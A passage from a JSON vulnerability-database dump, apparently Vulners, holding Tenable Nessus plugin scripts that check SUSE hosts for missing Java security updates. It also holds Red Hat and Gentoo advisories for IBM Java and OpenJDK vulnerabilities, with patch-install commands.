SUSE-SLE-SAP-12-SP2-2021-533=1\n\nSUSE Linux Enterprise Server 12-SP5 :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP5-2021-533=1\n\nSUSE Linux Enterprise Server 12-SP4-LTSS :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP4-LTSS-2021-533=1\n\nSUSE Linux Enterprise Server 12-SP3-LTSS :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP3-2021-533=1\n\nSUSE Linux Enterprise Server 12-SP3-BCL :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP3-BCL-2021-533=1\n\nSUSE Linux Enterprise Server 12-SP2-LTSS :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP2-2021-533=1\n\nSUSE Linux Enterprise Server 12-SP2-BCL :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP2-BCL-2021-533=1\n\nHPE Helion Openstack 8 :\n\nzypper in -t patch HPE-Helion-OpenStack-8-2021-533=1\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-demo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-demo-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-devel-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-headless\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_8_0-openjdk-headless-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:12\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/21\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/02/19\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/02/22\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES12)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES12\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES12\" && (! preg(pattern:\"^(2|3|4|5)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES12 SP2/3/4/5\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_8_0-openjdk-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_8_0-openjdk-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_8_0-openjdk-debugsource-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_8_0-openjdk-demo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_8_0-openjdk-demo-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_8_0-openjdk-devel-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_8_0-openjdk-devel-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_8_0-openjdk-headless-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_8_0-openjdk-headless-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_8_0-openjdk-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_8_0-openjdk-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_8_0-openjdk-debugsource-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_8_0-openjdk-demo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_8_0-openjdk-demo-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_8_0-openjdk-devel-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_8_0-openjdk-devel-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_8_0-openjdk-headless-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_8_0-openjdk-headless-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_8_0-openjdk-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_8_0-openjdk-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_8_0-openjdk-debugsource-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_8_0-openjdk-demo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_8_0-openjdk-demo-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_8_0-openjdk-devel-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_8_0-openjdk-devel-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_8_0-openjdk-headless-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_8_0-openjdk-headless-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_8_0-openjdk-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_8_0-openjdk-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_8_0-openjdk-debugsource-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_8_0-openjdk-demo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_8_0-openjdk-demo-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_8_0-openjdk-devel-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_8_0-openjdk-devel-debuginfo-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_8_0-openjdk-headless-1.8.0.282-27.56.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_8_0-openjdk-headless-debuginfo-1.8.0.282-27.56.2\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"java-1_8_0-openjdk\");\n}\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-02-25T23:38:25", "description": "This update for java-1_7_1-ibm fixes the following issues :\n\nUpdate to Java 7.1 Service Refresh 4 Fix Pack 80 [bsc#1182186,\nbsc#1181239, CVE-2020-27221, CVE-2020-14803]\n\n - CVE-2020-27221: Potential for a stack-based buffer\n overflow when the virtual machine or JNI natives are\n converting from UTF-8 characters to platform encoding.\n\n - CVE-2020-14803: Unauthenticated attacker with network\n access via multiple protocols allows to compromise Java\n SE.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 2, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-02-19T00:00:00", "title": "SUSE SLES12 Security Update : java-1_7_1-ibm (SUSE-SU-2021:0512-1)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-27221", "CVE-2020-14803"], "modified": "2021-02-19T00:00:00", "cpe": ["cpe:/o:novell:suse_linux:12", "p-cpe:/a:novell:suse_linux:java-1_7_1-ibm-jdbc", "p-cpe:/a:novell:suse_linux:java-1_7_1-ibm-devel", "p-cpe:/a:novell:suse_linux:java-1_7_1-ibm", "p-cpe:/a:novell:suse_linux:java-1_7_1-ibm-alsa", "p-cpe:/a:novell:suse_linux:java-1_7_1-ibm-plugin"], "id": "SUSE_SU-2021-0512-1.NASL", "href": "https://www.tenable.com/plugins/nessus/146614", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2021:0512-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(146614);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/02/23\");\n\n script_cve_id(\"CVE-2020-14803\", \"CVE-2020-27221\");\n\n script_name(english:\"SUSE SLES12 Security Update : java-1_7_1-ibm (SUSE-SU-2021:0512-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update for java-1_7_1-ibm fixes the following issues :\n\nUpdate to Java 7.1 Service Refresh 4 Fix Pack 80 [bsc#1182186,\nbsc#1181239, CVE-2020-27221, CVE-2020-14803]\n\n - CVE-2020-27221: Potential for a stack-based buffer\n overflow when the virtual machine or JNI natives are\n converting from UTF-8 characters to platform encoding.\n\n - CVE-2020-14803: Unauthenticated attacker with network\n access via multiple protocols allows to compromise Java\n SE.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1181239\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1182186\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2020-14803/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2020-27221/\"\n );\n # https://www.suse.com/support/update/announcement/2021/suse-su-20210512-1\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?affbfeb0\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE OpenStack Cloud Crowbar 9 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-Crowbar-9-2021-512=1\n\nSUSE OpenStack Cloud Crowbar 8 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-Crowbar-8-2021-512=1\n\nSUSE OpenStack Cloud 9 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-9-2021-512=1\n\nSUSE OpenStack Cloud 8 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-8-2021-512=1\n\nSUSE OpenStack Cloud 7 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-7-2021-512=1\n\nSUSE Linux Enterprise Software Development Kit 12-SP5 :\n\nzypper in -t patch SUSE-SLE-SDK-12-SP5-2021-512=1\n\nSUSE Linux Enterprise Server for SAP 12-SP4 :\n\nzypper in -t patch SUSE-SLE-SAP-12-SP4-2021-512=1\n\nSUSE Linux Enterprise Server for SAP 12-SP3 :\n\nzypper in -t patch SUSE-SLE-SAP-12-SP3-2021-512=1\n\nSUSE Linux Enterprise Server for SAP 12-SP2 :\n\nzypper in -t patch SUSE-SLE-SAP-12-SP2-2021-512=1\n\nSUSE Linux Enterprise Server 12-SP5 :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP5-2021-512=1\n\nSUSE Linux Enterprise Server 12-SP4-LTSS :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP4-LTSS-2021-512=1\n\nSUSE Linux Enterprise Server 12-SP3-LTSS :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP3-2021-512=1\n\nSUSE Linux Enterprise Server 12-SP3-BCL :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP3-BCL-2021-512=1\n\nSUSE Linux Enterprise Server 12-SP2-LTSS :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP2-2021-512=1\n\nSUSE Linux Enterprise Server 12-SP2-BCL :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP2-BCL-2021-512=1\n\nHPE Helion Openstack 8 :\n\nzypper in -t patch HPE-Helion-OpenStack-8-2021-512=1\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_7_1-ibm\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_7_1-ibm-alsa\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_7_1-ibm-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_7_1-ibm-jdbc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:java-1_7_1-ibm-plugin\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:12\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/21\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/02/18\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/02/19\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES12)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES12\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES12\" && (! preg(pattern:\"^(2|3|4|5)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES12 SP2/3/4/5\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES12\", sp:\"4\", cpu:\"x86_64\", reference:\"java-1_7_1-ibm-alsa-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", cpu:\"x86_64\", reference:\"java-1_7_1-ibm-plugin-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_7_1-ibm-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_7_1-ibm-devel-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"java-1_7_1-ibm-jdbc-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", cpu:\"x86_64\", reference:\"java-1_7_1-ibm-alsa-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", cpu:\"x86_64\", reference:\"java-1_7_1-ibm-plugin-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_7_1-ibm-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_7_1-ibm-devel-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_7_1-ibm-jdbc-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", cpu:\"x86_64\", reference:\"java-1_7_1-ibm-alsa-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", cpu:\"x86_64\", reference:\"java-1_7_1-ibm-plugin-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_7_1-ibm-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_7_1-ibm-devel-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_7_1-ibm-jdbc-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", cpu:\"x86_64\", reference:\"java-1_7_1-ibm-alsa-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", cpu:\"x86_64\", reference:\"java-1_7_1-ibm-plugin-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_7_1-ibm-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_7_1-ibm-devel-1.7.1_sr4.80-38.62.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_7_1-ibm-jdbc-1.7.1_sr4.80-38.62.1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"java-1_7_1-ibm\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2021-03-04T20:59:53", "bulletinFamily": "unix", "cvelist": ["CVE-2020-14781", "CVE-2020-14782", "CVE-2020-14803", "CVE-2020-27221", "CVE-2020-2773"], "description": "IBM Java SE version 8 includes the IBM Java Runtime Environment and the IBM Java Software Development Kit.\n\nThis update upgrades IBM Java SE 8 to version 8 SR6-FP25.\n\nSecurity Fix(es):\n\n* IBM JDK: Stack-based buffer overflow when converting from UTF-8 characters to platform encoding (CVE-2020-27221)\n\n* OpenJDK: Unexpected exceptions raised by DOMKeyInfoFactory and DOMXMLSignatureFactory (Security, 8231415) (CVE-2020-2773)\n\n* OpenJDK: Credentials sent over unencrypted LDAP connection (JNDI, 8237990) (CVE-2020-14781)\n\n* OpenJDK: Certificate blacklist bypass via alternate certificate encodings (Libraries, 8237995) (CVE-2020-14782)\n\n* OpenJDK: Race condition in NIO Buffer boundary checks (Libraries, 8244136) (CVE-2020-14803)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2021-03-04T22:38:34", "published": "2021-03-04T22:36:10", "id": "RHSA-2021:0736", "href": "https://access.redhat.com/errata/RHSA-2021:0736", "type": "redhat", "title": "(RHSA-2021:0736) Critical: java-1.8.0-ibm security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-04T17:53:17", "bulletinFamily": "unix", "cvelist": ["CVE-2020-14803", "CVE-2020-27221"], "description": "IBM Java SE version 7 Release 1 includes the IBM Java Runtime Environment and the IBM Java Software Development Kit.\n\nThis update upgrades IBM Java SE 7 to version 7R1 SR4-FP80.\n\nSecurity Fix(es):\n\n* IBM JDK: Stack-based buffer overflow when converting from UTF-8 characters to platform encoding (CVE-2020-27221)\n\n* OpenJDK: Race condition in NIO Buffer boundary checks (Libraries, 8244136) (CVE-2020-14803)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2021-03-04T20:17:52", "published": "2021-03-04T20:12:34", "id": "RHSA-2021:0733", "href": "https://access.redhat.com/errata/RHSA-2021:0733", "type": "redhat", "title": "(RHSA-2021:0733) Critical: java-1.7.1-ibm security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-03T23:40:20", "bulletinFamily": "unix", "cvelist": ["CVE-2020-14781", "CVE-2020-14782", "CVE-2020-14803", "CVE-2020-27221", "CVE-2020-2773"], "description": "IBM Java SE version 8 includes the IBM Java Runtime Environment and the IBM Java Software Development Kit.\n\nThis update upgrades IBM Java SE 8 to version 8 SR6-FP25.\n\nSecurity Fix(es):\n\n* IBM JDK: Stack-based buffer overflow when converting from UTF-8 characters to platform encoding (CVE-2020-27221)\n\n* OpenJDK: Unexpected exceptions raised by DOMKeyInfoFactory and DOMXMLSignatureFactory (Security, 8231415) (CVE-2020-2773)\n\n* OpenJDK: Credentials sent over unencrypted LDAP connection (JNDI, 8237990) (CVE-2020-14781)\n\n* OpenJDK: Certificate blacklist bypass via alternate certificate encodings (Libraries, 8237995) (CVE-2020-14782)\n\n* OpenJDK: Race condition in NIO Buffer boundary checks (Libraries, 8244136) (CVE-2020-14803)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2021-03-04T01:48:00", "published": "2021-03-04T01:42:35", "id": "RHSA-2021:0717", "href": "https://access.redhat.com/errata/RHSA-2021:0717", "type": "redhat", "title": "(RHSA-2021:0717) Critical: java-1.8.0-ibm security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "gentoo": [{"lastseen": "2021-01-25T03:50:36", "bulletinFamily": "unix", "cvelist": ["CVE-2020-14803", "CVE-2020-14782", "CVE-2020-14792", "CVE-2020-2590", "CVE-2020-14781", "CVE-2020-2604", "CVE-2020-2583", "CVE-2020-14798", "CVE-2020-14779", "CVE-2020-2601", "CVE-2020-14797", "CVE-2020-2659", "CVE-2020-2593", "CVE-2020-14796", "CVE-2020-2654"], "description": "### Background\n\nOpenJDK is a free and open-source implementation of the Java Platform, Standard Edition. \n\n### Description\n\nMultiple vulnerabilities have been discovered in OpenJDK. Please review the CVE identifiers referenced below for details. \n\n### Impact\n\nPlease review the referenced CVE identifiers for details.\n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll OpenJDK users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=dev-java/openjdk-8.272_p10\"\n \n\nAll OpenJDK (binary) users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=dev-java/openjdk-bin-8.272_p10\"\n \n\nAll OpenJDK JRE (binary) users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose\n \">=dev-java/openjdk-jre-bin-8.272_p10\"", "edition": 1, "modified": "2021-01-25T00:00:00", "published": "2021-01-25T00:00:00", "id": "GLSA-202101-19", "href": "https://security.gentoo.org/glsa/202101-19", "title": "OpenJDK: Multiple vulnerabilities", "type": "gentoo", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}